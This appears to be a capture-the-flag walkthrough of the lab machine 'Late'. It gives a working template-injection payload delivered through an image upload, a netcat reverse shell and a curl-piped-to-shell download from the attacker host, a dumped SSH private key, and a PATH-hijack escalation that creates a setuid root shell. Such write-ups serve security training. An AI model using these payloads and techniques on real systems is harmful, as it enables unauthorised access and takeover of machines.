Late
Recon
HTTP (80)
Domain and subdomain is disclosed from index


from PIL import Image, ImageDraw, ImageFont
import io
import requests
def create_text_image(text, font_path=None, background_color=None, font_size=24, padding=20, fill_color=None):
font_path = font_path or "arial.ttf"
background_color = background_color or (255, 255, 255) # White
fill_color = fill_color or (0, 0, 0) # Black
font = ImageFont.truetype(font_path, font_size)
text_width = int(font.getlength(text))
image_width = text_width + padding
image_height = font_size + padding * 2
text_x = (image_width - text_width) // 2
image = Image.new("RGB", (image_width, image_height), background_color)
draw = ImageDraw.Draw(image)
draw.text((text_x, padding), text, font=font, fill=fill_color)
return image
if __name__ == '__main__':
text = 'xx{{ cycler.__init__.__globals__.os.popen(request.args.get("LETMEIN")).read() }}'
font_path = '/usr/local/share/fonts/CaskaydiaCoveNerdFontMono-Bold.ttf'
image = create_text_image(
text,
font_size=54,
font_path=font_path
)
buffer = io.BytesIO()
image.save('text_image.png', format="PNG")
image.save(buffer, format="PNG")
buffer.seek(0)
url = "http://images.late.htb/scanner"
files = {"file": ("letmein.png", buffer, "image/png")}
response = requests.post(url, files=files, params={'LETMEIN': "busybox nc 10.10.14.113 4444 -e /bin/bash"})
print(response.text[3:-4])
Note:
text
is updated on run, above script is after some changes.
> text = 'let me in'
< let me in
> text = '{{ cycler.__init__.__globals__.os.popen("id").read() }}'
< uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
Reverse Shell
Run above script to get a reverse shell
└─$ pwncat-cs -lp 4444
[07:15:58] Welcome to pwncat 🐈! __main__.py:164
[07:23:23] received connection from 10.129.227.134:34298 bind.py:84
[07:23:26] 10.129.227.134:34298: registered new host w/ db manager.py:957
(local) pwncat$
(remote) svc_acc@late:/home/svc_acc/app$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
User.txt
(remote) svc_acc@late:/home/svc_acc/app$ cd
(remote) svc_acc@late:/home/svc_acc$ cat user.txt
5e1d660b6af7c811d3dee3ffe00a7272
Privilege Escalation
Upgrade the shell to SSH
(remote) svc_acc@late:/home/svc_acc$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
---
└─$ nano svc.id_rsa
└─$ chmod 600 *.id_rsa
└─$ ssh -i svc.id_rsa svc_acc@late.htb
Enumerate with linpeas
svc_acc@late:~$ curl 10.10.14.113/lp.sh|sh|tee /tmp/lp.log
╔══════════╣ PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses
/home/svc_acc/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root 722 Nov 16 2017 /etc/crontab
...
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/svc_acc
/run/lock
/run/screen
/run/sendmail/mta/smsocket
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/systemd
...
/usr/local/sbin
/usr/local/sbin/ssh-alert.sh
/var/crash
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/tmp/lp.log
/usr/local/sbin/ssh-alert.sh
...
/var/mail/root
So clearly there's a cronjob running ssh-alert
and recipient is root, it's also probably belongs to root.
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
We have write permission in the PATH directory.
svc_acc@late:~$ echo x > /usr/local/sbin/x
svc_acc@late:~$ ls -alh /usr/local/sbin/x
-rw-rw-r-- 1 svc_acc svc_acc 2 Dec 15 12:39 /usr/local/sbin/x
svc_acc@late:~$ nano /usr/local/sbin/date
#!/bin/bash
install -m4777 /bin/bash /tmp/rootbash
svc_acc@late:~$ chmod +x /usr/local/sbin/date
---
# Trigger cronjob
└─$ ssh -i svc.id_rsa svc_acc@late.htb
---
svc_acc@late:~$ /tmp/rootbash -p
rootbash-4.4# id
uid=1000(svc_acc) gid=1000(svc_acc) euid=0(root) groups=1000(svc_acc)
Root.txt
rootbash-4.4# cat /root/root.txt
90d9ffbcf31a52b98cf36a9d2d03868d
Last updated